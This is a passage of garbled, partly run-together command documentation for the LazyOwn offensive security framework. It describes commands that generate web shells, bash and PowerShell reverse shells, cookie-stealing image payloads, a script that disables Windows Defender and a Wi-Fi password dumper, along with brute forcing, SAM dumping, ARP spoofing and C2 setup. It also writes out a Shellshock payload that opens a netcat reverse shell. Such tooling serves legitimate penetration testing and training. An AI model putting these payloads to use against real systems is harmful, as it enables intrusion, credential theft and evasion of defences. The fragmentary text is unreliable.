is not "url", the method uses the remote host specified inself.params["rhost"]
.
:returns: None
Manual execution:
- Ensure that the
gospider
tool is installed on the system. - Set the
url
parameter if using the "url" mode. - Run the method to perform the spidering operation.
Dependencies:
-
gospider
must be installed on the system. - The
sudo
command must be available for installinggospider
.
Examples:
1. To scan a specific URL: gospider url
2. To scan the remote host: gospider
Note:
- If gospider
is not installed, the method will attempt to install it.
- Ensure that the network and tools are configured correctly for successful execution.
arpscan
Executes an ARP scan using arp-scan
.
This function performs an ARP scan on the local network using the arp-scan
tool. The network device to be used for scanning must be specified.
Usage: arpscan
:param line: Command parameters (not used in this function). :type line: str
- Executes the
arp-scan
command with the specified network device.
:returns: None
Manual execution:
- Ensure that the network device is set using the appropriate parameter.
- Run the method to perform an ARP scan.
Dependencies:
-
arp-scan
must be installed on the system. - The
sudo
command must be available for executingarp-scan
.
Examples:
1. Set the device parameter using set device <network_device>
.
2. Run arpscan
to perform the ARP scan.
Note:
- The network device must be configured and available on the system for the scan to work.
- Ensure that arp-scan
is installed and accessible from the command line.
lazypwn
Executes the LazyPwn script.
This function runs the lazypwn.py
script located in the modules
directory. The script is typically used for automated exploitation or security testing tasks within the LazyOwn framework.
Usage: lazypwn
:param line: Command parameters (not used in this function). :type line: str
- Executes the
lazypwn.py
script with Python 3.
:returns: None
Manual execution:
- Run the method to execute the LazyPwn script.
Dependencies:
- The
lazypwn.py
script must be present in themodules
directory. - Python 3 must be installed and accessible from the command line.
Examples:
1. Run do_lazypwn
to execute the LazyPwn script.
Note:
- Ensure that lazypwn.py
is configured correctly before running this method.
- The script's functionality depends on its implementation in modules/lazypwn.py
.
fixel
Fixes file permissions and line endings in the project directories.
This function converts line endings from DOS/Windows format to Unix format for all files in the project directories. This helps to ensure consistent line endings and can prevent issues related to file format mismatches.
Usage: fixel
:param line: Command parameters (not used in this function). :type line: str
:returns: None
Manual execution:
- Run the method to fix line endings in the specified directories.
Dependencies:
- The
dos2unix
command must be installed and accessible from the command line.
Examples:
1. Run do_fixel
to convert line endings for all files in the project directories.
Note:
- This method only fixes line endings and does not modify file permissions.
- Ensure that the dos2unix
command is installed and functioning correctly.
smbserver
Sets up an SMB server using Impacket and creates an SCF file for SMB share access.
This function configures an SMB server to serve files from the sessions
directory and generates an SCF file that points to the SMB share. The SCF file can be used to create a shortcut to the SMB share on a Windows system.
Usage: smbserver
:param line: Command parameters folder name (optional). :type line: str
- Checks if
lhost
is valid using thecheck_lhost
function. - Creates an SCF file (
sessions/file.scf
) with configuration to access the SMB share. - Copies a curl command to the clipboard for downloading the SCF file from the SMB share.
- Starts an SMB server using Impacket to serve the
sessions
directory.
:returns: None
Manual execution:
- Ensure
lhost
is set to a valid IP address or hostname. - Run the method to create the SCF file and start the SMB server.
- Use the copied curl command to download the SCF file on the target system.
- Ensure that
impacket-smbserver
is installed and accessible from the command line.
Dependencies:
- The
impacket-smbserver
tool must be installed and accessible from the command line. - The
check_lhost
function must validate thelhost
parameter.
Examples:
1. Run do_smbserver
to set up the SMB server and generate the SCF file.
2. Use the provided curl command to download the SCF file on the target system.
Note:
- The SCF file is used to create a shortcut to the SMB share and should be accessible from the target system.
- Ensure that the lhost
parameter is correctly set and that the SMB server is properly configured.
sqlmap
Uses sqlmap to perform SQL injection testing on a given URL or request file (you can get one with burpsuit or proxy command and foxyproxy plugin for browser).
This function allows the execution of sqlmap commands with various options, including testing URL endpoints, reading from request files, and using sqlmap's wizard mode for easy configuration.
Usage:
sqlmap req <request_file>
sqlmap req <request_file> :param line: Command parameters for sqlmap.
:type line: str If If If :returns: None Manual execution: Dependencies: Examples:
sqlmap req requests.txt id
sqlmap req requests.txt id database_name
sqlmap req requests.txt id database_name table_name
sqlmap -wiz Note:
- Ensure the request file exists and is readable before running sqlmap.
- The URL must be set for URL-based testing.
- The wizard mode is useful for interactive configuration if you're unsure about the options. Runs a small proxy server to modify HTTP requests on the fly. This function starts the Usage:
proxy :param line: This parameter is not used in the current implementation.
:type line: str
:returns: None Manual execution: Dependencies: Example:
proxy Note:
- Ensure that the Creates a web shell disguised as a This function performs the following actions: Usage:
createwebshell :param line: This parameter is not used in the current implementation.
:type line: str
:returns: None Manual execution: Dependencies: Example:
createwebshell Note:
- Ensure that the Creates a bash reverse shell script in the This function performs the following actions: Usage:
createrevshell :param line: This parameter is not used in the current implementation.
:type line: str
:returns: None Manual execution: Dependencies: Example:
createrevshell Note:
- Ensure that Creates a PowerShell reverse shell script in the This function performs the following actions: Usage:
createwinrevshell :param line: This parameter is not used in the current implementation.
:type line: str
:returns: None Manual execution: Dependencies: Example:
createwinrevshell Note:
- Ensure that Creates a This function performs the following actions: Usage:
createhash :param line: The hash value to be written to Manual execution: Dependencies: Example:
createhash 5f4dcc3b5aa765d61d8327deb882cf99 Note:
- Ensure the hash value is correct before running the analysis.
- The hash value should be provided as a single argument without extra characters or spaces. Creates a This function performs the following actions: Usage:
createcredentials user:password :param line: The input line containing the username and password in the format Manual execution: Dependencies: Example:
createcredentials administrator:passwordadministrator123&! Note:
- Ensure the input format is correct: Creates a This function performs the following actions: Usage:
createcookie cookie=user_data=valor_base64 :param line: The input line containing the cookie value in the format Manual execution: Dependencies: Example:
createcookie cookie=user_data=valor_base64 Note:
- Ensure the input format is correct: Downloads resources into the This function performs the following actions: Usage:
download_resources :param line: Not used in this function.
:type line: str
:returns: None Manual execution: Dependencies: Example:
download_resources Note:
- Ensure that the Downloads and sets up exploits in the This function performs the following actions: Usage:
download_exploit :param line: Not used in this function.
:type line: str
:returns: None Manual execution: Dependencies: Example:
download_exploit Note:
- Ensure that the Runs the This function executes Usage:
dirsearch :param line: Not used in this function. The URL is provided via the Manual execution: Dependencies: Example:
dirsearch http://example.com/ Note:
- Ensure that the Runs John the Ripper with a specified wordlist and options. This function executes John the Ripper to crack hashes using the specified wordlist and additional options. If no additional options are provided, it will attempt to display cracked hashes. Usage:
john2hash :param line: Optional arguments to be passed to John the Ripper (e.g., Manual execution: Dependencies: Example:
john2hash --format=Raw-SHA512
# If Note:
- Ensure that the Runs Hashcat with specified attack mode and hash type using a wordlist. This function executes the Hashcat tool with the specified mode and wordlist file. The hash value to be cracked should be provided as an argument. Usage:
hashcat :param line: The hash type or mode to be used with Hashcat (e.g., 0 for MD5). This is a required argument.
:type line: str
:returns: None Manual execution: Dependencies: Example:
hashcat 0
# If Note:
- Ensure that the Complete mode options and file paths for the sessions/hash.txt Runs Responder on a specified network interface with elevated privileges. This function executes the Responder tool with Usage:
responder :param line: This parameter is not used in the function but is included for consistency with other command methods.
:type line: str
:returns: None Manual execution: Dependencies: Example:
responder
# If Note:
- Ensure that the Displays IP addresses of network interfaces and copies the IP address from the This function performs the following tasks: Usage:
ip :param line: This parameter is not used in the function but is included for consistency with other command methods.
:type line: str
:returns: None Manual execution: Dependencies: Example:
ip
# This will display IP addresses for all network interfaces and copy the IP address from Note:
Ensure that the Displays IP addresses of network interfaces and prints the IP address from the This function performs the following tasks: Usage:
ip :param line: This parameter is not used in the function but is included for consistency with other command methods.
:type line: str
:returns: None Manual execution: Dependencies: Example:
ip
# This will display IP addresses for all network interfaces and print the IP address from Note:
Ensure that the Copies the remote host (rhost) to the clipboard and updates the command prompt. This function performs two tasks: Usage:
rhost [clean] :param line: An optional argument that determines the behavior of the function:
- If 'clean', it resets the command prompt to its default format.
- If any other value, it updates the command prompt to include the Manual execution: Dependencies: Example:
rhost
# This will copy the current Note:
Ensure that the Updates the command prompt to include the remote host (rhost) and current working directory. This function performs two tasks: Usage:
rhost [clean] :param line: An optional argument that determines the behavior of the function:
- If 'clean', it resets the command prompt to its default format.
- If any other value, it updates the command prompt to include the Manual execution: Example:
rhost
# This will update the command prompt to include the Note:
Ensure that the Show the banner Copies a Python reverse shell command to the clipboard. This function generates a Python command that uses the Usage:
py3ttyup :param line: This parameter is not used in the function.
:type line: str
:returns: None Manual execution: Dependencies: Example:
py3ttyup
# This will copy the Python command Note:
This command is often used in scenarios where you need a more interactive shell from a reverse shell connection. Copies a reverse shell payload to the clipboard. This function generates a reverse shell command that connects back to the specified host and port, and copies it to the clipboard. It also provides a way to execute the payload via a PHP-based web shell. Usage:
rev :param line: This parameter is not used in the function.
:type line: str
:returns: None Manual execution: Dependencies: Example:
rev
# This will copy a reverse shell command to the clipboard and display instructions for its use. Copies a malicious image tag payload to the clipboard. This function crafts and copies two different image tag payloads designed to steal cookies from a target's browser. The payloads use JavaScript to send cookies to a specified host and port. The user is prompted to select which payload to copy to the clipboard. Usage:
img2cookie :param line: This parameter is not used in the function.
:type line: str
:returns: None Manual execution: Dependencies: Example:
img2cookie
# This will prompt you to select between two payloads. The chosen payload will be copied to the clipboard. Creates a Visual Basic Script (VBS) to attempt to disable antivirus settings. This function generates a VBS script designed to modify Windows Registry settings and run PowerShell commands to disable various Windows Defender antivirus features. Usage:
disableav :param line: This parameter is not used in the function.
:type line: str
:returns: None Manual execution: The VBS script: Dependencies: Example:
disableav
# This will create the Downloads ConPtyShell and prepares a PowerShell command for remote access. This function downloads the ConPtyShell PowerShell script and ZIP archive to the Usage:
conptyshell :param line: This parameter is not used in the function. The required host and port are retrieved from the Manual execution: The constructed PowerShell command: Dependencies: Example:
conptyshell
# This will download the required files and copy the PowerShell command to the clipboard. Runs This function starts a Usage:
pwncatcs :param line: The port number to use for the Manual execution: If no port is provided as an argument, the function will use the port specified in the After starting the listener, the function prints a message indicating that Dependencies: Runs This function starts a Usage:
pwncatcs :param line: The port number to use for the Manual execution: If no port is provided as an argument, the function will use the port specified in the After starting the listener, the function prints a message indicating that Dependencies: Automates command execution based on a list of aliases and commands. :param line: The command line input containing the list of alias and command pairs.
:type line: str
:returns: None Manual execution:
To manually run these tasks, you would need to: Note: Ensure Executes a shell command directly from the LazyOwn interface. This function allows the user to execute arbitrary shell commands without exiting the LazyOwn shell.
It checks if a command is provided, prints a message indicating the command being executed, and then
runs the command using Usage:
sh :param line: The shell command to be executed.
:type line: str
:raises ValueError: If no command is provided, an error message is printed indicating that a command is required.
:returns: None Example:
sh ls -la
# This will execute 'ls -la' in the shell without exiting LazyOwn. Note:
Ensure that the command provided is safe to execute and does not include potentially harmful operations. Displays the current working directory and lists files, and copies the current directory path to the clipboard. This function performs the following tasks: Usage:
pwd :param line: This parameter is not used in the function but is included for consistency with other command methods.
:type line: str
:returns: None Manual execution:
1. The command Dependencies:
- The function relies on Example:
pwd
# This will display the current working directory, list files, and copy the current directory path to the clipboard. Note:
Ensure that Exits the application quickly without confirmation. This function performs the following tasks: Usage:
qa :param line: This parameter is not used in the function but is included for consistency with other command methods.
:type line: str
:returns: None Manual execution:
1. The command Dependencies:
- The function relies on Example:
qa
# This will print an exit message, terminate the tmux session and openvpn processes, and exit the program. Note:
Ensure that Configures the system to ignore ARP requests by setting a kernel parameter. This function performs the following tasks: Usage:
ignorearp :param line: This parameter is not used in the function but is included for consistency with other command methods.
:type line: str
:returns: None Manual execution:
1. The command Dependencies:
- The function requires Example:
ignorearp
# This will set the Note:
Ensure that you have the necessary permissions to use Configures the system to ignore ICMP echo requests by setting a kernel parameter. This function performs the following tasks: Usage:
ignoreicmp :param line: This parameter is not used in the function but is included for consistency with other command methods.
:type line: str
:returns: None Manual execution:
1. The command Dependencies:
- The function requires Example:
ignoreicmp
# This will set the Note:
Ensure that you have the necessary permissions to use Configures the system to acknowledge ARP requests by setting a kernel parameter. This function performs the following tasks: Usage:
acknowledgearp :param line: This parameter is not used in the function but is included for consistency with other command methods.
:type line: str
:returns: None Manual execution:
1. The command Dependencies:
- The function requires Example:
acknowledgearp
# This will set the Note:
Ensure that you have the necessary permissions to use Configures the system to respond to ICMP echo requests by setting a kernel parameter. This function performs the following tasks: Usage:
acknowledgeicmp :param line: This parameter is not used in the function but is included for consistency with other command methods.
:type line: str
:returns: None Manual execution:
1. The command Dependencies:
- The function requires Example:
acknowledgeicmp
# This will set the Note:
Ensure that you have the necessary permissions to use Displays the current date and time, and runs a custom shell script. This function performs the following actions: Usage:
clock :param line: This parameter is not used in the function.
:type line: str
:returns: None Manual execution:
To manually use this function: Note: The function sets the terminal color to white before displaying the date and time, then sets it to green before running the Dependencies: Lists all open TCP and UDP ports on the local system. This function performs the following actions: Usage:
ports :param line: This parameter is not used in the function.
:type line: str
:returns: None Manual execution:
To manually use this function: Note: The Connects to an SSH host using credentials from a file and a specified port. This function performs the following actions: Usage:
ssh :param line: The port number to use for the SSH connection.
:type line: str
:returns: None Manual execution:
To manually use this function: Note: Ensure Connects to an ftp host using credentials from a file and a specified port. This function performs the following actions: Usage:
ftp :param line: The port number to use for the ftp connection.
:type line: str
:returns: None Manual execution:
To manually use this function: Note: Ensure Generates a command to display TCP and UDP ports and copies it to the clipboard. This function performs the following actions: Usage:
cports # Generates the command and copies it to the clipboard :param line: This parameter is not used in this function.
:type line: str
:returns: None Manual execution:
To manually use this function: Note: Ensure Connect to a VPN by selecting from available .ovpn files. This function performs the following actions: Usage:
vpn # List available .ovpn files and select one to connect to
vpn :param line: The number of the .ovpn file to connect to, or an empty string to list available files.
:type line: str
:returns: None Manual execution:
To manually use this function: Note: Ensure you have the necessary permissions and the Create an SSH private key file and connect to a remote host using SSH. This function performs the following actions: Usage:
id_rsa :param line: The username for SSH connection and private key file naming.
:type line: str
:returns: None Manual execution:
To manually use this function: Note: Ensure you have the necessary permissions to create files and connect via SSH. Start a web server using Python 3 and display relevant network information. This function performs the following actions: Usage:
www :param line: This parameter is used to pass the port as an argument by default is 80
:type line: str
:returns: None Manual execution:
To manually use this function, run it to start the web server and follow the on-screen instructions to see the network information and server status. Note: Ensure you have Copy payloads to clipboard for Local File Inclusion (LFI) attacks. This function provides three payload options for Local File Inclusion (LFI) attacks and copies the selected payload to the clipboard using Usage:
wrapper :param line: This parameter is not used in the function.
:type line: str
:returns: None Manual execution:
To manually use this function, run it and follow the prompts to select one of the three predefined payloads. The selected payload will be copied to the clipboard. Note: Ensure Sends an email using This method constructs and executes a Parameters: Functionality: Example usage: do_swaks("line") swaks --from [email protected] --to [email protected],[email protected],[email protected] --body "testing" --server 127.0.0.1 Run This function executes Usage:
samrdump <target_host> :param line: The target host to dump SAM data from.
:type line: str
:returns: None Manual execution:
To manually run this task, specify the target host. The function will attempt to dump SAM data from the host on ports 139 and 445.
impacket-samrdump -port 445 10.10.10.10
Note: Ensure that Encode a string for URL. This function takes a string as input, encodes it for URL compatibility using the Usage:
urlencode <string_to_encode> :param line: The string to encode for URL.
:type line: str
:returns: None Manual execution:
To manually run this task, provide a string to be URL-encoded as an argument. The function will encode it and print the result. Note: If no input is provided or the input is only whitespace, an error message will be displayed. Decode a URL-encoded string. This function takes a URL-encoded string as input, decodes it using the Usage:
urldecode <url_encoded_string> :param line: The URL-encoded string to decode.
:type line: str
:returns: None Manual execution:
To manually run this task, provide a URL-encoded string as an argument. The function will decode it and print the result. Note: If no input is provided or the input is only whitespace, an error message will be displayed. Performs a Lynis audit on the specified remote system. This function executes the Usage:
lynis :param line: This parameter is not used in the current implementation.
:type line: str
:returns: None Manual execution:
To manually run this task, ensure that the Performs an SNMP check on the specified target host. This function executes the Usage:
snmpcheck :param line: This parameter is not used in the current implementation.
:type line: str
:returns: None Manual execution:
To manually run this task, ensure that Encodes a string using the specified shift value and substitution key. This function encodes the given string by applying a shift value and a substitution key. Usage:
encode <shift_value> <substitution_key> :param line: The input string containing the shift value, substitution key, and the string to be encoded. The format should be '<shift_value> <substitution_key> Manual execution:
To manually run this task, provide a shift value (integer), a substitution key, and the string to encode in the format Note: The function assumes the shift value is an integer. If the shift value is not an integer, it will print an error message. Decode a string using the specified shift value and substitution key. This function decodes the given string by applying a shift value and a substitution key to reverse the encoding process. Usage:
decode <shift_value> <substitution_key> :param line: The input string containing the shift value, substitution key, and the string to be decoded. The format should be '<shift_value> <substitution_key> Manual execution:
To manually run this task, provide a shift value (integer), a substitution key, and the string to decode in the format Note: The function assumes the shift value is an integer. If the shift value is not an integer, it will print an error message. Display the credentials stored in the This function reads the stored credentials from a file named :param line: A string parameter that is not used in this function. It is included for compatibility with command-line
interface functions. :returns: None Manual execution:
To manually perform the equivalent actions, follow these steps: Example:
If The password Note:
Ensure Discover active hosts in a subnet by performing a ping sweep. This method constructs and executes a bash script that performs a
ping sweep on the specified subnet to identify active hosts. The
subnet is determined from the 'rhost' parameter. For each host in
the subnet, a ping request is sent, and active hosts are reported. Parameters: Behavior: Side Effects: Notes: Example: do_hostdiscover("example_input") Scan all ports on a specified host to identify open ports. This method constructs and executes a bash script that performs a
port scan on the specified host to determine which ports are open.
It scans all ports from 0 to 65535 and reports any that are open. Parameters: Behavior: Side Effects: Notes: Example: do_portdiscover("example_input") Scan all ports on a specified host to identify open ports and associated services. This method constructs and executes a bash script that performs a
port scan on the specified host to determine which ports are open
and identifies any services running on those open ports. It scans
all ports from 0 to 65535. Parameters: Behavior: Side Effects: Notes: Example: do_portservicediscover("example_input") Apply a ROT (rotation) substitution cipher to the given string. This function rotates each character in the input string by the specified number of positions in the alphabet. It supports rotation values between 1 and 27. Usage:
rot :param line: The input string containing the number and the text to be rotated. The format should be ' Manual execution:
To manually run this task, provide a number (rotation amount) and a string in the format Note: The function assumes that the rotation number is an integer between 1 and 27. If the number is out of range or not a valid integer, it will print an error message. Uses Hydra to perform a brute force attack on a specified HTTP service with a user and password list. :param line: The path to crack and port for the Hydra command, formatted as 'path port'.
:type line: str
:returns: None Manual execution:
To manually run this task, you would: Uses medusa to perform a brute force attack on a specified ssh service with a user and password list. :param line: The port if is't default port.
:type line: str
:returns: None Manual execution:
To manually run this task, you would: Perform an Nmap scan using a specified script and port. :param line: A string containing the Nmap script and port, separated by a space. Example: "http-enum 80". :returns: None Manual execution:
To manually run an Nmap scan with a script and port, use the following command format: Example:
If you want to use the script Ensure you have the target host ( Applies various obfuscations to a given command line string to create multiple obfuscated versions. :param line: The command line string to be obfuscated.
:type line: str
:returns: None Manual execution:
To manually run these tasks, you would: Note: Ensure that the command is properly formatted and valid to avoid errors during obfuscation. The obfuscations may involve different encoding and string manipulation techniques. Enumerates SMTP users using the :param line: Not used in this function.
:type line: str
:returns: None Manual execution:
To manually run these tasks, you would need to: Starts the SSH service and displays its status. :param line: Not used in this function.
:type line: str
:returns: None Manual execution:
To manually run these tasks, you would need to: Note: Ensure that you have the necessary permissions to start services using Provides help to find and display information about Nmap scripts. :param line: The script or keyword to search for in the Nmap script help output.
:type line: str
:returns: None Manual execution:
To manually run these tasks, you would need to: Note: Ensure that Search for commands matching the given parameter in the cmd interface and optionally extend the search using the system's :param line: The search term to find matching commands. :returns: None Manual execution:
To manually search for commands matching a term using the Example:
apropos network The The function also searches within the available commands in the cmd interface. Helps to find hash types in Hashcat by searching through its help output. :param line: The hash type or keyword to search for in the Hashcat help output.
:type line: str
:returns: None Manual execution:
To manually run these tasks, you would need to: Note: Ensure that Deletes files and directories in the :param line: This parameter is not used in the function.
:type line: str
:returns: None Manual execution:
To manually run these tasks, you would need to: Note: This function performs a cleanup by removing various files and directories associated with the current session, excluding specified items. Automates the execution of pwntomate tools on XML configuration files. :param line: This parameter is not used in the function.
:type line: str
:returns: None Manual execution:
To manually run these tasks, you would need to: Note: This function assumes that Prints all configured aliases and their associated commands. :param line: This parameter is not used in the function.
:type line: str
:returns: None Manual execution:
To manually run these tasks, you would need to: Note: This function assumes that aliases are managed by the Starts :param line: The network interface on which to capture ICMP traffic (e.g., Manual execution:
To manually run these tasks, you would need to: Note: Ensure that you have sufficient permissions to run Starts packet capture using :param line: The network interface on which to capture packets (e.g., Manual execution:
To manually run these tasks, you would need to: Note: Ensure that the Analyzes a packet capture file using :param line: The command line input specifying the interface for capturing packets.
:type line: str
:returns: None Manual execution:
To manually run these tasks, you would need to: Note: Ensure that the capture file Reads credentials from a file, encrypts the password, and executes the RDP connection command. Reads credentials: Encrypts the password: Executes the RDP connection command: :param line: This function does not use any arguments.
:type line: str
:returns: None Manual execution:
To manually execute the command: Encodes a given string into Base64 format. Encodes the input string: Displays the encoded string: :param line: The string to encode in Base64 format.
:type line: str
:returns: None Manual execution:
To manually encode a string in Base64: Decodes a Base64 encoded string. Decodes the Base64 string: Displays the decoded string: :param line: The Base64 encoded string to decode.
:type line: str
:returns: None Manual execution:
To manually decode a Base64 encoded string: Creates and copies a shell command to add a new user Displays the command: Copies the command to clipboard: :param line: This function does not use any arguments.
:type line: str
:returns: None Manual execution:
To manually execute the command: Creates a base64 encoded payload specifically for Windows to execute a PowerShell command or download a file using Checks if Checks if a file name or command is provided: Prompts for the type of payload: Prompts for the output type: Encodes the command: :param line: The name of the Manual execution:
To manually use the payload: Note: Ensure Creates a base64 encoded PowerShell reverse shell payload specifically for Windows to execute a Checks if Constructs a PowerShell reverse shell command with the following structure: Encodes the PowerShell command: Copies the final PowerShell command to the clipboard: :param line: This parameter is not used in the function but is present for consistency with the method signature.
:type line: str
:returns: None Manual execution:
To manually use the payload: Note: Ensure Creates a base64 encoded ASP reverse shell payload and copies it to the clipboard. Checks if a base64 encoded payload is provided: If a payload is provided: :param line: The base64 encoded payload to be used in the ASP reverse shell.
:type line: str
:returns: None Manual execution:
To manually create the ASP payload: Note: Ensure Copies a command to the clipboard for downloading and running Rubeus. Checks if If :param line: Not used in this function.
:type line: str
:returns: None Manual execution:
To manually run these tasks, you would need to: Note: Ensure Sets up and runs a If no Displays a message instructing the user to configure If a valid :param line: The IP and port (formatted as Manual execution:
To manually run these tasks, you would need to: Note: Ensure that Automates the setup and execution of Chisel server and client for tunneling and port forwarding. If no If no port argument is provided: If required Chisel files are not present: If a valid port is provided: :param line: The command line input containing the port number for Chisel setup.
:type line: str
:returns: None Manual execution:
To manually run these tasks, you would need to: Note: Ensure that all required files ( Automates various Metasploit tasks including scanning for vulnerabilities, setting up reverse shells, and creating payloads. If no arguments are provided: If the argument starts with "rev": If the argument starts with "lnk": If the argument starts with "autoroute": :param line: The command line input that determines which Metasploit task to automate.
:type line: str
:returns: None Manual execution:
To manually run these tasks, you would need to: Note: Ensure all required parameters ( Encrypts a file using XOR encryption. :param line: A string containing the file path and the key separated by a space.
:type line: str
:returns: None Manual execution:
To manually run this command, use the following syntax:
encrypt <file_path> Decrypts a file using XOR encryption. :param line: A string containing the file path and the key separated by a space.
:type line: str
:returns: None Manual execution:
To manually run this command, use the following syntax:
decrypt <file_path> Devuelve la salida acumulada Ejecuta un comando para listar las conexiones SSH activas. Este método utiliza Parámetros: Returns: Ejemplos: do_sessionssh("")
(Muestra en consola las conexiones SSH activas) Attach strace to a running process and log output to a file. This function attaches Parameters: Raises: Example: Notes: Executes commands defined in a lazyscript file. This function reads a script file containing commands to be executed
sequentially. Each command is executed using the onecmd method of the
cmd.Cmd class. The script file should be located in the 'lazyscripts'
directory relative to the current working directory. Args:
line (str): The name of the script file to execute (e.g., 'lazyscript.ls'). Example:
do_lazyscript('example_script.ls')
This would execute all commands listed in 'lazyscripts/example_script.ls'. Relanza la aplicación actual utilizando Este comando reinicia la aplicación desde el principio utilizando un script
bash externo llamado Pasos realizados por esta función: Args:
line (str): No se utiliza en este comando, pero se incluye como parte
de la interfaz estándar de Generates a Python one-liner to execute shellcode from a given URL. This function: This function executes the web security scanning tool Skipfish
using the provided configuration and parameters. It allows
scanning a specified target (rhost) and saves the results
in a designated output directory. Parameters: Function Flow: Note: Create a Windows DLL file using MinGW-w64 or a Blazor DLL for Linux. This function prompts the user to select between creating a 32-bit DLL,
a 64-bit DLL, or a Linux Blazor DLL. It first checks if MinGW-w64 is installed;
if not, it attempts to install it. The user must provide a filename for the
DLL, which will be created from the Parameters: Usage: Performs a web seo fingerprinting scan using :param line: This parameter is not used in the current implementation but could be used to pass additional options or arguments if needed.
:param rhost: The target web host to be scanned, specified in the :returns: None Manual execution:
To manually perform web seo fingerprinting, use the following command:
lazyseo.py <target_host> Replace For example:
lazyseo.py example.com Execute the PadBuster command for padding oracle attacks. This function constructs and executes a PadBuster command to perform
a padding oracle attack on the specified URL. It requires the user
to provide a URL, a cookie with a hash, a plaintext value to compare,
and a specific byte position to attack. Parameters: Functionality: Usage Example: Scans for hosts with SMB service open on port 445 in the specified target network. This function performs the following actions: Parameters:
line (str): The command line input for the smbattack function,
though not used directly in this implementation. Returns:
None Automates the exploitation of the Cacti version 1.2.26 vulnerability
using the multi/http/cacti_package_import_rce exploit. This function performs the following actions: Parameters:
line (str): The command line input for the cacti exploit function,
though used directly in this implementation to set password. Returns:
None Handles the creation of temporary files for users and passwords based on a small dictionary. This function prompts the user to decide whether to use a small dictionary for generating
user and password lists. If the user agrees, it loads the credentials from a JSON file and
writes them into temporary files. If the user declines, the process is aborted. Parameters:
list (str): Not used in this function, but kept for compatibility with cmd command input. Returns:
None Set up and run ngrok on a specified local port. If ngrok is not installed, it will
automatically be installed. The user will be prompted to provide their ngrok
authentication token to complete the setup. Args:
line (str): The input line, though it's not directly used in this function. Workflow: Note:
The ngrok authentication token can be obtained from the ngrok dashboard. This function generates a PowerShell script that retrieves saved Wi-Fi passwords on a Windows system.
The script gathers the Wi-Fi profiles, extracts their passwords, and saves the information in a text file
named 'wifi_passwords.txt' in the directory where the script is executed. The generated PowerShell command
is copied to the clipboard for easy execution. Parameters:
line (str): This parameter is not used within the function but is required for the command interface. The function does not return any value. Executes a Shellshock attack against a target. This function constructs and sends a specially crafted HTTP request designed to exploit
the Shellshock vulnerability on a target server. The payload is embedded in the
'User-Agent' header, and when executed, it will open a reverse shell connection to
the attacker's machine. Parameters: The function first validates the local host (lhost) and local port (lport) using
check_lhost() and check_lport(). If either validation fails, the function returns
without proceeding. If the validation passes, the payload is created using the format:
'() { :; }; /bin/bash -c "nc -v {rhost} {lport} -e /bin/bash -i"',
where rhost is the remote target's IP address and lport is the specified local port. The function then attempts to send a GET request to the target URL (args.target)
with the crafted payload in the 'User-Agent' header. The server's response is captured
and printed using print_msg(). If any error occurs during the request, an error message is displayed using print_error(). Returns:
None This function generates a PowerShell script that retrieves reverse shell over http on a Windows system.
The script generated PowerShell reverse shell to execute command by curl command
is copied to the clipboard for easy execution. Parameters:
line (str): This parameter is used to get the port to create the listener The function does not return any value.
Example of use: curl -X POST http://victim:8080/ -d "Get-Process" Interactive Morse Code Converter. This function serves as an interface for converting text to Morse code and vice versa.
It provides a menu with the following options: 1️⃣ Convert text to Morse code.
2️⃣ Convert Morse code to text.
0️⃣ Exit the program. When the function is called, it runs an external script ( Arguments:
line (str): This argument is reserved for future enhancements but is currently not used. Returns:
None Notes: Example: do_morse("") See Also: Fetch URLs from the Wayback Machine for a given website.
The URL is taken from line. If the URL is not provided, an error is printed.
The limit of results is taken from self.params["limit"] if provided; otherwise, defaults to 10.
Results are printed directly to the console. Handles the execution of a C2 (Command and Control) server setup command. This function performs the following tasks: Args:
line (str): The victim ID or command line to be used by the C2 server. Returns:
None Raises:
None Example:
c2 victim-1 Notes:
- Ensure that the Handles the process of sending a spoofed ARP packet to a specified IP address with a given MAC address. This function performs the following steps: Args:
line (str): Input line for the command, which is not used directly in this function. Raises:
Exception: If any error occurs during the execution of the function. Asks the user for the URL, database, table, and columns, and then executes the Python script
'modules/lazybsqli.py' with the provided parameters. Parameters: Example: Generates an SSH key pair with RSA 4096-bit encryption. If no name is provided, it uses 'lazyown' by default.
The keys are stored in the 'sessions/' directory. Parameters: Example: Generate a custom dictionary using the This function creates a wordlist with a specified length using the :param line: The length of the strings to be generated (e.g., '6' for 6-character strings).
If not provided, the function will prompt an error message. :returns: None Example usage: crunch 6
This will generate a wordlist with all possible combinations of 6-character strings using the default pattern. Additional notes: Fetches and displays malware information from the MalwareBazaar API based on the given tag. Args:
line (str): The tag used to query the MalwareBazaar API. This function performs the following steps: Returns:
None Download a malware sample from MalwareBazaar using its SHA256 hash. This function allows the user to download a malware sample from MalwareBazaar by providing
the SHA256 hash of the desired file. If the hash is not provided as an argument, the function
will prompt an error message indicating the correct usage. The downloaded malware sample
will be saved as a zipped file ( Arguments:
line (str): The SHA256 hash of the malware sample to be downloaded. Returns:
None Example: download_malwarebazar 094fd325049b8a9cf6d3e5ef2a6d4cc6a567d7d49c35f8bb8dd9e3c6acf3d78d Notes: See Also: Run an SSL scan on the specified remote host. This function initiates an SSL scan on a specified remote host ( Parameters:
line (str): The port number to scan (optional). If omitted, the scan will target all ports. Internal Variables:
rhost (str): The remote host IP address or hostname extracted from the Returns:
None Example Usage: Note: This function constructs and executes a command for the 'cewl' tool.
It first checks if the 'url' parameter is set. If not, it prints an error message.
If the 'url' is set, it extracts the domain from the URL using the get_domain function.
Then, it constructs a 'cewl' command with the specified parameters and prepares it for execution. Scan to a depth of 2 (-d 2) and use a minimum word length of 5 (-m 5), save the words to a file (-w docswords.txt), targeting the given URL (https://example.com): Parameters:
line (str): The command line input for this function. Expected self.params keys: Example usage: This function constructs and executes a command for the 'dmitry' tool.
It first checks if the 'url' parameter is set. If not, it prints an error message.
If the 'url' is set, it extracts the domain from the URL using the get_domain function.
Then, it constructs a 'dmitry' command with the specified parameters and prepares it for execution. Run a domain whois lookup (w), an IP whois lookup (i), retrieve Netcraft info (n), search for subdomains (s), search for email addresses (e), do a TCP port scan (p), and save the output to example.txt (o) for the domain example.com: Parameters:
line (str): The command line input for this function. Expected self.params keys: Example usage: Executes the graudit command to perform a static code analysis with the specified options. This function runs the 'graudit' tool with the '-A' option for an advanced scan and
the '-i sessions' option to include session files. The results will be displayed
directly in the terminal. Args:
line (str): Input line from the command interface. This argument is currently
not used within the function but is required for the command
interface structure. Example:
To run this function from the command interface, simply type 'graudit' and press enter.
The function will execute the 'graudit -A -i sessions' command. Note:
Ensure that 'graudit' is installed and properly configured in your system's PATH
for this function to work correctly. Connects to the msfrpcd daemon and allows remote control of Metasploit. Usage:
